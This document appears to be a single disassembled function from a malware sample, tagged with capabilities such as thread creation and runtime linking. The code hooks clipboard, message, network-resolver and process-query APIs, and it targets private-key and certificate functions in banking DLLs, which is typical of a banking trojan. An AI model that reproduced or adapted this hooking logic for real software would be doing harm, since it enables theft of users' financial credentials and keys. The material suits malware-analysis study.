Function at 0x10013930
Capabilities:
Create thread
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push ebx
push esi
push edi
push 0x103
lea eax, [ebp - 0x107]
push 0
push eax
mov byte [ebp - 0x108], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x108]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
mov eax, 0x10050df8
push 0
push 0
mov dword [0x10050dfc], eax
mov dword [0x10050df8], eax
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push 0
push 0
push 0
push 0x100189e0
push 0
push 0
mov dword [0x10050cf4], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x100139cb
lea edx, [ebp - 4]
push edx
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x100139cb
test byte [ebp - 4], 2
jne 0x100139cb
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0x10050ba0
call ebx
call fcn.10010800
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
push 0
push 0
push str.user32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10013a14
push str.GetClipboardData
push eax
call edi
test eax, eax
je 0x10013a14
push 0x1005af94
push 0x10011520
push eax
call fcn.10018770
push 0
push 0
push str.user32.dll
call esi
mov esi, eax
test esi, esi
je 0x10013a79
push 0x10049ce0
push esi
call edi
test eax, eax
je 0x10013a79
push 0x1005b0a4
push 0x10012590
push eax
call fcn.10018770
push str.GetMessageA
push esi
call edi
test eax, eax
je 0x10013a79
push 0x1005b0a8
push 0x100126c0
push eax
call fcn.10018770
push str.GetMessageW
push esi
call edi
test eax, eax
je 0x10013a79
push 0x1005b0ac
push 0x100127f0
push eax
call fcn.10018770
push 0x10050b88
call ebx
push 0x1004665c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x10013aab
push str.ZwQuerySystemInformation
push eax
call edi
test eax, eax
je 0x10013aab
push 0x1005af20
push 0x10005b70
push eax
call fcn.10018770
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call fcn.10023bc0
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ebx, dword [sym.imp.USER32.dll_GetUserObjectInformationA]
test eax, eax
je 0x10013b05
call esi
lea ecx, [ebp - 4]
push ecx
push 0x100
lea edx, [ebp - 0x208]
push edx
push 2
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
push eax
call ebx
test eax, eax
je 0x10013b05
push 0x1005c104
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x10013b05
call fcn.100066f0
jmp 0x10013b34
push 0
push 0
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
test eax, eax
je 0x10013b34
push 0x100496c4
push eax
call edi
test eax, eax
je 0x10013b34
push 0x1004fbc4
push 0x10009dc0
push eax
call fcn.10018770
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call fcn.10023bc0
test eax, eax
je 0x10013b7f
call esi
lea ecx, [ebp - 4]
push ecx
push 0x100
lea edx, [ebp - 0x208]
push edx
push 2
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
push eax
call ebx
test eax, eax
je 0x10013b7f
push 0x1005c104
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x10013cea
cmp dword [ebp + 8], 0
jne 0x10013cea
call fcn.100179f0
call fcn.10001660
mov esi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
push str.java
lea ecx, [ebp - 0x108]
push ecx
call esi
test eax, eax
je 0x10013bc1
push str..exe
lea edx, [ebp - 0x108]
push edx
call esi
test eax, eax
jne 0x10013cea
push str.frd.exe
lea eax, [ebp - 0x108]
push eax
call esi
test eax, eax
jne 0x10013cea
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
push eax
push eax
push str.ws2_32.dll
call ebx
mov esi, eax
test esi, esi
je 0x10013c40
push str.getaddrinfo
push esi
call edi
test eax, eax
je 0x10013c08
push 0x1005acf4
push 0x10003ae0
push eax
call fcn.10018770
push str.gethostbyname
push esi
call edi
test eax, eax
je 0x10013c24
push 0x1005adfc
push 0x10003bc0
push eax
call fcn.10018770
push str.inet_addr
push esi
call edi
test eax, eax
je 0x10013c40
push 0x1005af04
push 0x10003cf0
push eax
call fcn.10018770
push 0x10050b70
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, 0x10050b68
mov dword [0x10050b6c], eax
mov dword [0x10050b68], eax
call fcn.1000fc00
call fcn.1000f490
call fcn.1000e280
push 0
push 0
push str.sks2xyz.dll
call ebx
test eax, eax
je 0x10013c94
push str.vb_pfx_import
push eax
call edi
test eax, eax
je 0x10013c94
push 0x1005b330
push 0x1001d2b0
push eax
call fcn.10018770
push 0
push 0
push str.FilialRCon.dll
call ebx
test eax, eax
je 0x10013cbf
push str.RCN_R50Buffer
push eax
call edi
test eax, eax
je 0x10013cbf
push 0x1005b358
push 0x10020430
push eax
call fcn.10018770
push 0
push 0
push str.mespro.dll
call ebx
test eax, eax
je 0x10013cea
push str.AddPSEPrivateKeyEx
push eax
call edi
test eax, eax
je 0x10013cea
push 0x1005b36c
push 0x10022300
push eax
call fcn.10018770
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4